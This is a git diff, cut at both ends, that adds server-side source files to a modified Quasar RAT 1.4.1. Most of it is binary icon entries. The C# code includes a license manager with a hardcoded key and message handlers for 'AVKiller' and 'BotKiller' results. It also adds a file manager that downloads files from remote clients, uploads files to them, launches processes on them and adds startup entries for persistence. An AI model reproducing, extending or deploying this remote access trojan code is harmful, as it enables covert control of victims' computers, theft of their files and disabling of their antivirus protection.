b/Quasar-1.4.1/Quasar.Server/Images/printer_add.png new file mode 100755 index 0000000..d228d05 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/printer_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/refresh.png b/Quasar-1.4.1/Quasar.Server/Images/refresh.png new file mode 100755 index 0000000..0de2656 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/refresh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/reg_binary.png b/Quasar-1.4.1/Quasar.Server/Images/reg_binary.png new file mode 100755 index 0000000..1485bf8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/reg_binary.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/reg_string.png b/Quasar-1.4.1/Quasar.Server/Images/reg_string.png new file mode 100755 index 0000000..a451501 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/reg_string.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/registry.png b/Quasar-1.4.1/Quasar.Server/Images/registry.png new file mode 100755 index 0000000..cfc2702 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/registry.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/report.png b/Quasar-1.4.1/Quasar.Server/Images/report.png new file mode 100755 index 0000000..e46691b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/report.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/report_add.png b/Quasar-1.4.1/Quasar.Server/Images/report_add.png new file mode 100755 index 0000000..80def93 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/report_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/report_delete.png b/Quasar-1.4.1/Quasar.Server/Images/report_delete.png new file mode 100755 index 0000000..c541dfa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/report_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/restart.png b/Quasar-1.4.1/Quasar.Server/Images/restart.png new file mode 100755 index 0000000..97be114 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/restart.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/save.png b/Quasar-1.4.1/Quasar.Server/Images/save.png new file mode 100755 index 0000000..0d531eb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/save.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/server.png b/Quasar-1.4.1/Quasar.Server/Images/server.png new file mode 100755 index 0000000..720a237 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/server.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_add.png b/Quasar-1.4.1/Quasar.Server/Images/server_add.png new file mode 100755 index 0000000..3f10a3a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/server_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_connect.png b/Quasar-1.4.1/Quasar.Server/Images/server_connect.png new file mode 100755 index 0000000..49b2691 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/server_connect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_delete.png b/Quasar-1.4.1/Quasar.Server/Images/server_delete.png new file mode 100755 index 0000000..61e740f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/server_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_disconnect.png b/Quasar-1.4.1/Quasar.Server/Images/server_disconnect.png new file mode 100755 index 0000000..49b2691 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/server_disconnect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_go.png b/Quasar-1.4.1/Quasar.Server/Images/server_go.png new file mode 100755 index 0000000..540c8e2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/server_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_link.png b/Quasar-1.4.1/Quasar.Server/Images/server_link.png new file mode 100755 index 0000000..e8821df Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/server_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/settings.png b/Quasar-1.4.1/Quasar.Server/Images/settings.png new file mode 100755 index 0000000..8bf76fb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/settings.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/shield.png b/Quasar-1.4.1/Quasar.Server/Images/shield.png new file mode 100755 index 0000000..3cb4e25 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/shield.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/shutdown.png b/Quasar-1.4.1/Quasar.Server/Images/shutdown.png new file mode 100755 index 0000000..baaedc9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/shutdown.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/sound.png b/Quasar-1.4.1/Quasar.Server/Images/sound.png new file mode 100755 index 0000000..6056d23 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/sound.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/standby.png b/Quasar-1.4.1/Quasar.Server/Images/standby.png new file mode 100755 index 0000000..68debea Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/standby.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/star.png b/Quasar-1.4.1/Quasar.Server/Images/star.png new file mode 100755 index 0000000..b88c857 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/star.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/status_away.png b/Quasar-1.4.1/Quasar.Server/Images/status_away.png new file mode 100755 index 0000000..70bcbcc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/status_away.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/status_busy.png b/Quasar-1.4.1/Quasar.Server/Images/status_busy.png new file mode 100755 index 0000000..987c806 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/status_busy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/status_offline.png b/Quasar-1.4.1/Quasar.Server/Images/status_offline.png new file mode 100755 index 0000000..59055a8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/status_offline.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/status_online.png b/Quasar-1.4.1/Quasar.Server/Images/status_online.png new file mode 100755 index 0000000..947bd4b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/status_online.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/stop.png b/Quasar-1.4.1/Quasar.Server/Images/stop.png new file mode 100755 index 0000000..0cfd585 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/stop.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/table.png b/Quasar-1.4.1/Quasar.Server/Images/table.png new file mode 100755 index 0000000..abcd936 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/table.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/table_add.png b/Quasar-1.4.1/Quasar.Server/Images/table_add.png new file mode 100755 index 0000000..a7a6672 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/table_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/table_delete.png b/Quasar-1.4.1/Quasar.Server/Images/table_delete.png new file mode 100755 index 0000000..b85916d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/table_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/tag.png b/Quasar-1.4.1/Quasar.Server/Images/tag.png new file mode 100755 index 0000000..6a16e9d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/tag.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/tag_blue.png b/Quasar-1.4.1/Quasar.Server/Images/tag_blue.png new file mode 100755 index 0000000..9757fc6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/tag_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/tag_green.png b/Quasar-1.4.1/Quasar.Server/Images/tag_green.png new file mode 100755 index 0000000..83ec984 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/tag_green.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/tag_red.png b/Quasar-1.4.1/Quasar.Server/Images/tag_red.png new file mode 100755 index 0000000..6ebb37d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/tag_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/terminal.png b/Quasar-1.4.1/Quasar.Server/Images/terminal.png new file mode 100755 index 0000000..b3d8ce0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/terminal.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/text.png b/Quasar-1.4.1/Quasar.Server/Images/text.png new file mode 100755 index 0000000..ed841a0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/text.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/textfield_rename.png b/Quasar-1.4.1/Quasar.Server/Images/textfield_rename.png new file mode 100755 index 0000000..4e3688e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/textfield_rename.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/tick.png b/Quasar-1.4.1/Quasar.Server/Images/tick.png new file mode 100755 index 0000000..a9925a0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/tick.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/time.png b/Quasar-1.4.1/Quasar.Server/Images/time.png new file mode 100755 index 0000000..911da3f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/time.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/transmit_blue.png b/Quasar-1.4.1/Quasar.Server/Images/transmit_blue.png new file mode 100755 index 0000000..7b1142f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/transmit_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/uac_shield.png b/Quasar-1.4.1/Quasar.Server/Images/uac_shield.png new file mode 100755 index 0000000..6a21ee5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/uac_shield.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/user.png b/Quasar-1.4.1/Quasar.Server/Images/user.png new file mode 100755 index 0000000..79f35cc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/user.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/user_add.png b/Quasar-1.4.1/Quasar.Server/Images/user_add.png new file mode 100755 index 0000000..deae99b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/user_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/user_delete.png b/Quasar-1.4.1/Quasar.Server/Images/user_delete.png new file mode 100755 index 0000000..acbb563 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/user_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/user_edit.png b/Quasar-1.4.1/Quasar.Server/Images/user_edit.png new file mode 100755 index 0000000..c1974cd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/user_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/webcam.png b/Quasar-1.4.1/Quasar.Server/Images/webcam.png new file mode 100755 index 0000000..af71c30 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/webcam.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/website.png b/Quasar-1.4.1/Quasar.Server/Images/website.png new file mode 100755 index 0000000..b8895dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/website.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/word.png b/Quasar-1.4.1/Quasar.Server/Images/word.png new file mode 100755 index 0000000..462d894 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/word.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/world.png b/Quasar-1.4.1/Quasar.Server/Images/world.png new file mode 100755 index 0000000..68f21d3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/world.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/world_go.png b/Quasar-1.4.1/Quasar.Server/Images/world_go.png new file mode 100755 index 0000000..aee9c97 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/world_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/world_link.png b/Quasar-1.4.1/Quasar.Server/Images/world_link.png new file mode 100755 index 0000000..b8edc12 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/world_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/wrench.png b/Quasar-1.4.1/Quasar.Server/Images/wrench.png new file mode 100755 index 0000000..5c8213f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/wrench.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/zoom.png b/Quasar-1.4.1/Quasar.Server/Images/zoom.png new file mode 100755 index 0000000..908612e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/zoom.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/zoom_in.png b/Quasar-1.4.1/Quasar.Server/Images/zoom_in.png new file mode 100755 index 0000000..cdf0a52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/zoom_in.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/zoom_out.png b/Quasar-1.4.1/Quasar.Server/Images/zoom_out.png new file mode 100755 index 0000000..07bf98a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/zoom_out.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Licensing/LicenseManager.cs b/Quasar-1.4.1/Quasar.Server/Licensing/LicenseManager.cs new file mode 100755 index 0000000..b6020b6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Licensing/LicenseManager.cs @@ -0,0 +1,45 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Server.Licensing +{ + public static class LicenseManager + { + private const string SECRET_KEY = "QuasarRAT_2024_SecretKey_DoNotShare"; + + public static string GenerateHardwareID() + { + string pcName = Environment.MachineName; + string randomPart = GenerateRandomString(8); + return $"{pcName}-{randomPart}"; + } + + public static string GenerateBIN(string hardwareID) + { + using (var hmac = new HMACSHA256(Encoding.UTF8.GetBytes(SECRET_KEY))) + { + byte[] hash = hmac.ComputeHash(Encoding.UTF8.GetBytes(hardwareID)); + return Convert.ToBase64String(hash).Substring(0, 20).Replace("+", "").Replace("/", "").Replace("=", ""); + } + } + + public static bool ValidateBIN(string hardwareID, string bin) + { + string expectedBIN = GenerateBIN(hardwareID); + return string.Equals(expectedBIN, bin, StringComparison.Ordinal); + } + + private static string GenerateRandomString(int length) + { + const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + var random = new Random(); + var result = new StringBuilder(length); + for (int i = 0; i < length; i++) + { + result.Append(chars[random.Next(chars.Length)]); + } + return result.ToString(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/AVKillerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/AVKillerHandler.cs new file mode 100755 index 0000000..c1e6f4b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/AVKillerHandler.cs @@ -0,0 +1,56 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; + +namespace Quasar.Server.Messages +{ + public class AVKillerHandler : MessageProcessorBase + { + private readonly Client _targetClient; + + public AVKillerHandler(Client client) : base(true) + { + _targetClient = client; + } + + public override bool CanExecute(IMessage message) => message is AVKillerResponse; + + public override bool CanExecuteFrom(ISender sender) => _targetClient.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case AVKillerResponse resp: + Execute(sender, resp); + break; + } + } + + private void Execute(ISender client, AVKillerResponse message) + { + OnOutputReceived(message.Output, message.IsError); + } + + public event EventHandler OutputReceived; + + private void OnOutputReceived(string output, bool isError) + { + var handler = OutputReceived; + handler?.Invoke(this, new OutputEventArgs(output, isError)); + } + } + + public class OutputEventArgs : EventArgs + { + public string Output { get; } + public bool IsError { get; } + + public OutputEventArgs(string output, bool isError) + { + Output = output; + IsError = isError; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/BotKillerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/BotKillerHandler.cs new file mode 100755 index 0000000..d2cc278 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/BotKillerHandler.cs @@ -0,0 +1,29 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + public class BotKillerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is BotKillerResult; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case BotKillerResult result: + Execute((Client)sender, result); + break; + } + } + + private void Execute(Client client, BotKillerResult result) + { + FrmBotKiller.Instance?.AddResult(client, result); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/ClientStatusHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/ClientStatusHandler.cs new file mode 100755 index 0000000..58d1b5d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/ClientStatusHandler.cs @@ -0,0 +1,112 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote client status. + /// + public class ClientStatusHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle status updates. + /// + /// The message handler which raised the event. + /// The client which updated the status. + /// The new status. + public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage); + + /// + /// Represents the method that will handle user status updates. + /// + /// The message handler which raised the event. + /// The client which updated the user status. + /// The new user status. + public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage); + + /// + /// Raised when a client updated its status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event StatusUpdatedEventHandler StatusUpdated; + + /// + /// Raised when a client updated its user status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event UserStatusUpdatedEventHandler UserStatusUpdated; + + /// + /// Reports an updated status. + /// + /// The client which updated the status. + /// The new status. + private void OnStatusUpdated(Client client, string statusMessage) + { + SynchronizationContext.Post(c => + { + var handler = StatusUpdated; + handler?.Invoke(this, (Client) c, statusMessage); + }, client); + } + + /// + /// Reports an updated user status. + /// + /// The client which updated the user status. + /// The new user status. + private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage) + { + SynchronizationContext.Post(c => + { + var handler = UserStatusUpdated; + handler?.Invoke(this, (Client) c, userStatusMessage); + }, client); + } + + /// + /// Initializes a new instance of the class. + /// + public ClientStatusHandler() : base(true) + { + } + + /// + public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus; + + /// + public override bool CanExecuteFrom(ISender sender) => true; + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case SetStatus status: + Execute((Client) sender, status); + break; + case SetUserStatus userStatus: + Execute((Client) sender, userStatus); + break; + } + } + + private void Execute(Client client, SetStatus message) + { + OnStatusUpdated(client, message.Message); + } + + private void Execute(Client client, SetUserStatus message) + { + OnUserStatusUpdated(client, message.Message); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/FileManagerHandler.cs new file mode 100755 index 0000000..d2f2c64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/FileManagerHandler.cs @@ -0,0 +1,587 @@ +using Quasar.Common.Enums; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Enums; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote files and directories. + /// + public class FileManagerHandler : MessageProcessorBase, IDisposable + { + /// + /// Represents the method that will handle drive changes. + /// + /// The message processor which raised the event. + /// All currently available drives. + public delegate void DrivesChangedEventHandler(object sender, Drive[] drives); + + /// + /// Represents the method that will handle directory changes. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory content. + public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items); + + /// + /// Represents the method that will handle file transfer updates. + /// + /// The message processor which raised the event. + /// The updated file transfer. + public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer); + + /// + /// Raised when drives changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DrivesChangedEventHandler DrivesChanged; + + /// + /// Raised when a directory changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DirectoryChangedEventHandler DirectoryChanged; + + /// + /// Raised when a file transfer updated. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event FileTransferUpdatedEventHandler FileTransferUpdated; + + /// + /// Reports changed remote drives. + /// + /// The current remote drives. + private void OnDrivesChanged(Drive[] drives) + { + SynchronizationContext.Post(d => + { + var handler = DrivesChanged; + handler?.Invoke(this, (Drive[])d); + }, drives); + } + + /// + /// Reports a directory change. + /// + /// The remote path of the directory. + /// The directory content. + private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items) + { + SynchronizationContext.Post(i => + { + var handler = DirectoryChanged; + handler?.Invoke(this, remotePath, (FileSystemEntry[])i); + }, items); + } + + /// + /// Reports updated file transfers. + /// + /// The updated file transfer. + private void OnFileTransferUpdated(FileTransfer transfer) + { + SynchronizationContext.Post(t => + { + var handler = FileTransferUpdated; + handler?.Invoke(this, (FileTransfer)t); + }, transfer.Clone()); + } + + /// + /// Keeps track of all active file transfers. Finished or canceled transfers get removed. + /// + private readonly List _activeFileTransfers = new List(); + + /// + /// Used in lock statements to synchronize access between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// The client which is associated with this file manager handler. + /// + private readonly Client _client; + + /// + /// Used to only allow two simultaneous file uploads. + /// + private readonly Semaphore _limitThreads = new Semaphore(2, 2); + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + private readonly TaskManagerHandler _taskManagerHandler; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + /// Optional sub directory name. + public FileManagerHandler(Client client, string subDirectory = "") : base(true) + { + _client = client; + _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory); + _taskManagerHandler = new TaskManagerHandler(client); + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; + MessageHandler.Register(_taskManagerHandler); + } + + /// + public override bool CanExecute(IMessage message) => message is FileTransferChunk || + message is FileTransferCancel || + message is FileTransferComplete || + message is GetDrivesResponse || + message is GetDirectoryResponse || + message is SetStatusFileManager; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case FileTransferChunk file: + Execute(sender, file); + break; + case FileTransferCancel cancel: + Execute(sender, cancel); + break; + case FileTransferComplete complete: + Execute(sender, complete); + break; + case GetDrivesResponse drive: + Execute(sender, drive); + break; + case GetDirectoryResponse directory: + Execute(sender, directory); + break; + case SetStatusFileManager status: + Execute(sender, status); + break; + } + } + + /// + /// Begins downloading a file from the client. + /// + /// The remote path of the file to download. + /// The local file name. + /// Overwrite the local file with the newly downloaded. + public void BeginDownloadFile(string remotePath, string localFileName = "", bool overwrite = false) + { + if (string.IsNullOrEmpty(remotePath)) + return; + + int id = GetUniqueFileTransferId(); + + if (!Directory.Exists(_baseDownloadPath)) + Directory.CreateDirectory(_baseDownloadPath); + + string fileName = string.IsNullOrEmpty(localFileName) ? Path.GetFileName(remotePath) : localFileName; + string localPath = Path.Combine(_baseDownloadPath, fileName); + + int i = 1; + while (!overwrite && File.Exists(localPath)) + { + // rename file if it exists already + var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(localPath), i, Path.GetExtension(localPath)); + localPath = Path.Combine(_baseDownloadPath, newFileName); + i++; + } + + var transfer = new FileTransfer + { + Id = id, + Type = TransferType.Download, + LocalPath = localPath, + RemotePath = remotePath, + Status = "Pending...", + //Size = fileSize, TODO: Add file size here + TransferredSize = 0 + }; + + try + { + transfer.FileSplit = new FileSplit(transfer.LocalPath, FileAccess.Write); + } + catch (Exception) + { + transfer.Status = "Error writing file"; + OnFileTransferUpdated(transfer); + return; + } + + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } + + OnFileTransferUpdated(transfer); + + _client.Send(new FileTransferRequest {RemotePath = remotePath, Id = id}); + } + + /// + /// Begins uploading a file to the client. + /// + /// The local path of the file to upload. + /// Save the uploaded file to this remote path. If empty, generate a temporary file name. + public void BeginUploadFile(string localPath, string remotePath = "") + { + new Thread(() => + { + int id = GetUniqueFileTransferId(); + + FileTransfer transfer = new FileTransfer + { + Id = id, + Type = TransferType.Upload, + LocalPath = localPath, + RemotePath = remotePath, + Status = "Pending...", + TransferredSize = 0 + }; + + try + { + transfer.FileSplit = new FileSplit(localPath, FileAccess.Read); + } + catch (Exception) + { + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + return; + } + + transfer.Size = transfer.FileSplit.FileSize; + + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } + + transfer.Size = transfer.FileSplit.FileSize; + OnFileTransferUpdated(transfer); + + _limitThreads.WaitOne(); + try + { + foreach (var chunk in transfer.FileSplit) + { + transfer.TransferredSize += chunk.Data.Length; + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2); + transfer.Status = $"Uploading...({progress}%)"; + OnFileTransferUpdated(transfer); + + bool transferCanceled; + lock (_syncLock) + { + transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0; + } + + if (transferCanceled) + { + transfer.Status = "Canceled"; + OnFileTransferUpdated(transfer); + _limitThreads.Release(); + return; + } + + // TODO: blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = id, + Chunk = chunk, + FilePath = remotePath, + FileSize = transfer.Size + }); + } + } + catch (Exception) + { + lock (_syncLock) + { + // if transfer is already cancelled, just return + if (_activeFileTransfers.Count(f => f.Id == transfer.Id) == 0) + { + _limitThreads.Release(); + return; + } + } + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); + _limitThreads.Release(); + return; + } + + _limitThreads.Release(); + }).Start(); + } + + /// + /// Cancels a file transfer. + /// + /// The id of the file transfer to cancel. + public void CancelFileTransfer(int transferId) + { + _client.Send(new FileTransferCancel {Id = transferId}); + } + + /// + /// Renames a remote file or directory. + /// + /// The remote file or directory path to rename. + /// The new name of the remote file or directory path. + /// The type of the file (file or directory). + public void RenameFile(string remotePath, string newPath, FileType type) + { + _client.Send(new DoPathRename + { + Path = remotePath, + NewPath = newPath, + PathType = type + }); + } + + public void CopyFile(string sourcePath, string destinationPath, FileType type) + { + _client.Send(new DoPathCopy + { + SourcePath = sourcePath, + DestinationPath = destinationPath, + PathType = type + }); + } + + /// + /// Deletes a remote file or directory. + /// + /// The remote file or directory path. + /// The type of the file (file or directory). + public void DeleteFile(string remotePath, FileType type) + { + _client.Send(new DoPathDelete {Path = remotePath, PathType = type}); + } + + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. + public void StartProcess(string remotePath) + { + _taskManagerHandler.StartProcess(remotePath); + } + + /// + /// Adds an item to the startup of the client. + /// + /// The startup item to add. + public void AddToStartup(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + /// + /// Gets the directory contents for the remote path. + /// + /// The remote path of the directory. + public void GetDirectoryContents(string remotePath) + { + _client.Send(new GetDirectory {RemotePath = remotePath}); + } + + /// + /// Refreshes the remote drives. + /// + public void RefreshDrives() + { + _client.Send(new GetDrives()); + } + + private void Execute(ISender client, FileTransferChunk message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer == null) + return; + + transfer.Size = message.FileSize; + transfer.TransferredSize += message.Chunk.Data.Length; + + try + { + transfer.FileSplit.WriteChunk(message.Chunk); + } + catch (Exception) + { + transfer.Status = "Error writing file"; + OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); + return; + } + + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); + transfer.Status = $"Downloading...({progress}%)"; + + OnFileTransferUpdated(transfer); + } + + private void Execute(ISender client, FileTransferCancel message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.Status = message.Reason; + OnFileTransferUpdated(transfer); + RemoveFileTransfer(transfer.Id); + // don't keep un-finished files + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); + } + } + + private void Execute(ISender client, FileTransferComplete message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client + transfer.Status = "Completed"; + RemoveFileTransfer(transfer.Id); + OnFileTransferUpdated(transfer); + } + } + + private void Execute(ISender client, GetDrivesResponse message) + { + if (message.Drives?.Length == 0) + return; + + OnDrivesChanged(message.Drives); + } + + private void Execute(ISender 